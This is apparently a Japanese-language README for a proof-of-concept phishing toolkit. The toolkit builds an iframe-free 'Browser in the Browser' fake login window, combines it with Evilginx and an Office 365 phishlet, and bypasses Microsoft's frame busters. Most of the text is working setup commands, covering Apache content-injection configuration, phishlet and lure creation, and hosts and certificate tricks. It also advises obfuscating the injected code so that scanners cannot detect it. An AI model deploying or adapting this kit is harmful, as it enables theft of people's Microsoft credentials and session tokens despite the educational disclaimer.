
iframeを使用しないBrowser In The Browser (BITB)への新しいアプローチ。Microsoftのようなログインページで実装されている従来のフレームバスターをバイパスし、Evilginxとの使用を可能にします。
iframeを使用しない、新しいBrowser In The Browser (BITB)アプローチ。これにより、Microsoftのようなログインページが実装する従来のフレームバスターを回避できます。
このPOCコードは、この新しいBITBをEvilginxおよびMicrosoft Enterpriseフィッシュレットと共に使用するために構築されています。

詳しく見る前に、まずはBSides 2023での私の講演をご覧になることをお勧めします。このコンセプトを初めて紹介し、「完璧な」フィッシング攻撃を仕掛けるための重要な詳細について説明しました。▶ 動画を見る
☕︎ コーヒーをおごる
このツールは教育および研究目的のみで使用されます。iframeを使用しないBrowser In The Browser (BITB)方式を実証するものです。作者はこのツールの不正使用について一切の責任を負いません。このツールは、サイバーセキュリティ防御テストのための管理された環境において、合法的かつ倫理的にのみ使用してください。このツールを使用することにより、お客様は責任を持って自己責任で使用することに同意したものとみなします。
この1年間、私は「完璧な」フィッシング攻撃を作り上げるためのさまざまなトリックを試してきました。人々が探す典型的な「危険信号」は、緊急性、脅威、権威、文法ミスなどです。 最近では、人々が次にチェックするのは、やり取りしているWebサイトのリンク/URLであり、メールアドレスやパスワードなどの機密性の高い認証情報の入力を求められた瞬間に非常に慎重になります。
そこで登場したのがBrowser In The Browser (BITB)です。元々は@mrd0xによって紹介されました。BITBは、攻撃者がコンテンツを制御する(悪意のあるWebサイトをiframe内で提供する)説得力のあるブラウザウィンドウの外観を作り出すというコンセプトです。ただし、偽のブラウザウィンドウの偽のURLバーは、ユーザーが期待する正当なサイトに設定されています。これにEvilginxのようなツールを組み合わせると、説得力のあるフィッシング攻撃のための完璧なレシピになります。
問題は、ここ数ヶ月から数年の間に、Microsoftのような主要なWebサイトが「フレームバスター/フレームキラー」と呼ばれるさまざまな小さなトリックを実装したことです。これらは主に、Evilginxの場合のようにプロキシされたWebサイトを提供するために使用される可能性のあるiframeを壊そうとします。
要するに、MicrosoftのようなWebサイトに対するEvilginx + BITBはもはや機能しません。少なくとも、iframeに依存するBITBでは機能しません。
iframeを一切使用しないBrowser In The Browser (BITB)です。それだけのことです。
つまり、MicrosoftのようなWebサイトでも、Evilginxと一緒にBITBを使用できるようになりました。
ここでのEvilginxは単なる強力な例ですが、同じコンセプトは他のユースケースにも使用できます。
フレームバスターはiframeを特に標的にするため、iframeを使用せずに、プロキシされたページの元の構造/コンテンツを乱さずにBITB効果を作り出すというアイデアです。 これは、検索と置換(サブスティテューション)を使用して元のコンテンツの横にスクリプトとHTMLを注入し、その後、視覚効果のためにHTML/CSS/JSのトリックに完全に依存することで実現できます。 また、HTMLの「Shadow DOM」と呼ばれる追加のトリックを使用して、ランディングページ(背景)のコンテンツをプロキシされたコンテンツと干渉しないように配置し、マイナーな追加JSスクリプトで任意のランディングページを柔軟に使用できるようにします。
ローカルLinux VMを作成します。(私はVMWare PlayerまたはParallels Desktop上でUbuntu 22を個人的に使用しています)
システムパッケージの更新とアップグレード:
sudo apt update && sudo apt upgrade -y
新しいevilginxユーザーを作成し、sudoグループに追加します:
sudo su
adduser evilginx
usermod -aG sudo evilginx
evilginxユーザーがsudoグループにいることを確認します:
su - evilginx
sudo ls -la /root
ユーザーのホームディレクトリに移動:
cd /home/evilginx
(すべてをsudoユーザーとしても実行できます。すべてローカルで実行しているため)
Evilginxのダウンロードとビルド: 公式ドキュメント
Evilginxファイルを/home/evilginxにコピーします。
Goのインストール: 公式ドキュメント
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile
追加: export PATH=$PATH:/usr/local/go/bin
source ~/.profile
確認:
go version
makeのインストール:
sudo apt install make
Evilginxのビルド:
cd /home/evilginx/evilginx2
make
evilginxビルド、フィッシュレット、リダイレクター用の新しいディレクトリを作成します:
mkdir /home/evilginx/evilginx
ビルド、フィッシュレット、リダイレクターをコピーします:
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
Ubuntuファイアウォールのクイックフィックス(@kgretzkyに感謝)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
UbuntuでFailed to start nameserver on: :53エラーが発生した場合は、このファイルを修正してみてください
sudo nano /etc/systemd/resolved.conf
DNSStubListenerをnoに編集/追加 > DNSStubListener=no
その後
sudo systemctl restart systemd-resolved
Apache2をEvilginxの前で使用するため、Evilginxを443とは異なるポートで待ち受けるようにする必要があります。
nano ~/.evilginx/config.json
https_portを443から8443に変更します。
Apache2のインストール:
sudo apt install apache2 -y
使用するApache2モジュールを有効にします: (access_compatモジュールは問題を引き起こすことがあるため無効にしています)
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
Apacheを起動して有効にします:
sudo systemctl start apache2
sudo systemctl enable apache2
ホストマシンのブラウザからVMのIPにアクセスして、ApacheとVMのネットワーキングが機能するか試します。
まだgitが利用できない場合はインストールします:
sudo apt -y install git
このリポジトリをクローンします:
git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb
提供するページ用のディレクトリを作成します:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
各ページのディレクトリをコピーします:
sudo cp -r ./pages/home/ /var/www/
sudo cp -r ./pages/primary/ /var/www/
sudo cp -r ./pages/secondary/ /var/www/
オプション: デフォルトのApacheページを削除します(未使用):
sudo rm -r /var/www/html/
O365フィッシュレットをフィッシュレットディレクトリにコピーします:
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml
オプション: Calendlyウィジェットをデフォルトの代わりに自分のアカウントを使用するように設定するには、pages/primary/script.jsに移動し、CALENDLY_PAGE_NAMEとCALENDLY_EVENT_TYPEを変更します。
デモ難読化に関する注意: チュートリアルビデオで説明したように、BITBのURLやタイトルなどのテキストコンテンツに対して最小限の難読化を含めました。ブラウザでdemo-obfuscator.htmlを開いてデモ難読化ツールを起動できます。
実際のシナリオでは、注入されたHTMLコードのより大きな部分を難読化するか、JSのトリックを使用して検出やフラグを回避することを強くお勧めします。現在取り組んでいる高度なバージョンでは、スキャナーによるBITBコードのフィンガープリンティング/検出をほぼ不可能にするために、高度なトリックの組み合わせを使用する予定ですので、ご期待ください。
すべてをローカルで実行しているため、Apacheで使用する自己署名SSL証明書を生成する必要があります。Evilginxはデベロッパーモードで実行するため、証明書は必要ありません。
ここでは、ローカルVMを指すドメインfake.comを使用します。別のドメインを使用する場合は、すべてのファイル(Apache confファイル、JSファイルなど)のドメインを変更してください。
ディレクトリとその親ディレクトリが存在しない場合は作成します:
sudo mkdir -p /etc/ssl/localcerts/fake.com/
OpenSSL設定ファイルを使用してSSL証明書を生成します:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf
秘密鍵のパーミッションを変更します:
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem
カスタム置換ファイル(このアプローチの中核)をコピーします:
sudo cp -r ./custom-subs /etc/apache2/custom-subs
重要な注意: このリポジトリには、Mac上のChromeおよびWindows上のChrome用のBITBの2つの置換設定が含まれています。両方ともライト/ダークモードの自動検出とスタイリングを備えており、他のブラウザ/OSの組み合わせでも同じことを実現するための基本テンプレートとして機能します。 フィッシングページにアクセスするために使用されるブラウザ/OSの組み合わせの自動検出を含めていないため、2つのうちの1つを使用するか、自動切り替えの独自ロジックを実装する必要があります。
/apache-configs/の下の両方の設定ファイルは同じですが、インクルードされる置換ファイルのIncludeディレクティブのみが異なります。(各ファイルに2つの参照があります)
# 使用したい方をコメント解除し、変更後はApacheを再起動することを忘れないでください:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf
簡単にするために、次の手順では両方のバージョンを別々のファイルとして用意しました。
Windows/Chrome BITB:
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Mac/Chrome BITB:
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Apache設定をテストして、エラーがないことを確認します:
sudo apache2ctl configtest
変更を適用するためにApacheを再起動します:
sudo systemctl restart apache2
ifconfigを使用してVMのIPを取得し、次の手順のためにメモしておきます。
ここで、hostsファイルに新しいエントリを追加して、このデモで使用されるドメインfake.comとすべての使用サブドメインを、ApacheとEvilginxが実行されているVMに向ける必要があります。
Windowsの場合:
管理者としてメモ帳を開きます(検索 > メモ帳 > 右クリック > 管理者として実行)
左上の「ファイル」オプションをクリックし、エクスプローラーのアドレスバーに以下をコピーして貼り付けます:
C:\Windows\System32\drivers\etc\
ファイルの種類(右下)を「すべてのファイル」に変更します。
hostsという名前のファイルをダブルクリックします。
Macの場合:
ターミナルを開き、以下を実行します:
sudo nano /private/etc/hosts
次に、以下のレコードを変更し([IP]をVMのIPに置き換えます)、ファイルの最後に貼り付けます:
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section
保存して終了します。
次の手順に進む前に、ブラウザを再起動します。
注意: Macでは、次のコマンドを使用してDNSキャッシュをフラッシュします:
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
このデモは、提供されているOffice 365 Enterpriseフィッシュレットを使用して作成されています。別のフィッシュレットに必要なホストエントリを取得するには、phishlet get-hosts [PHISHLET_NAME]を使用しますが、127.0.0.1をVMの実際のローカルIPに置き換えることを忘れないでください。
自己署名SSL証明書を使用しているため、fake.comにアクセスしようとするたびにブラウザが警告を表示します。そのため、ホストマシンにSSL証明書に署名した証明書機関を信頼させる必要があります。
この手順は、ビデオの説明に従う方が簡単ですが、とにかく要点を説明します。
Chromeブラウザでhttps://fake.com/を開きます。
安全でないサイトの警告を無視してページに進みます。
SSLアイコンをクリック > 詳細 > 証明書のエクスポート 重要: 保存するとき、Windowsで正しく開くには、名前が必ず.crtで終わる必要があります。
ダブルクリック > 現在のユーザーに対してインストール。自動選択は行わず、代わりに特定のストアに証明書を配置: 「信頼されたルート証明機関」を選択します。
Macの場合: 現在のユーザーのみにインストールするには > 「キーチェーン: ログイン」を選択し、「証明書を表示」をクリック > 詳細 > 信頼 > 常に信頼
ブラウザを再起動します
SSL警告なしでhttps://fake.comにアクセスできるようになるはずです。
この時点で、すべての準備が整っているはずです。Evilginxを起動し、フィッシュレットを設定し、ルアーを作成してテストします。
オプション: tmuxをインストールします(端末セッションが閉じられてもevilginxを実行し続けるため。主にリモートVMで実行する場合に便利です。)
sudo apt install tmux -y
デベロッパーモードでEvilginxを起動します(tmuxを使用してセッションを維持):
tmux new-session -s evilginx
cd ~/evilginx/
./evilginx -developer
(tmuxセッションに再接続するにはtmux attach-session -t evilginxを使用します)
Evilginx Config:
config domain fake.com
config ipv4 127.0.0.1
重要: すべてのリクエストは実際の訪問者IPではなくApacheから送信されるため、Apacheがブラックリストに登録されないように、EvilginxのブラックリストモードをNoAddに設定します。
blacklist noadd
フィッシュレットとルアーのセットアップ:
phishlets hostname O365 fake.com
phishlets enable O365
lures create O365
lures get-url 0
ルアーURLをコピーし、ブラウザからアクセスします(Chromeのゲストユーザーを使用すると、テスト間で保存/キャッシュされたデータをすべて削除する必要がなくなります)。
@mrd0xによるオリジナルのiframeベースのBITB: https://github.com/mrd0x/BITB
Evilginxの作成者@kgretzkyによるEvilginxマスターリーコース: https://academy.breakdev.org/evilginx-mastery
BSides 2023での私の講演: https://www.youtube.com/watch?v=p1opa2wnRvg
CloudflareとHTML難読化を使用してEvilginxを保護する方法: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation
@BakkerJanによるMicrosoft 365向けEvilginxリソース: https://janbakker.tech/evilginx-resources-for-microsoft-365/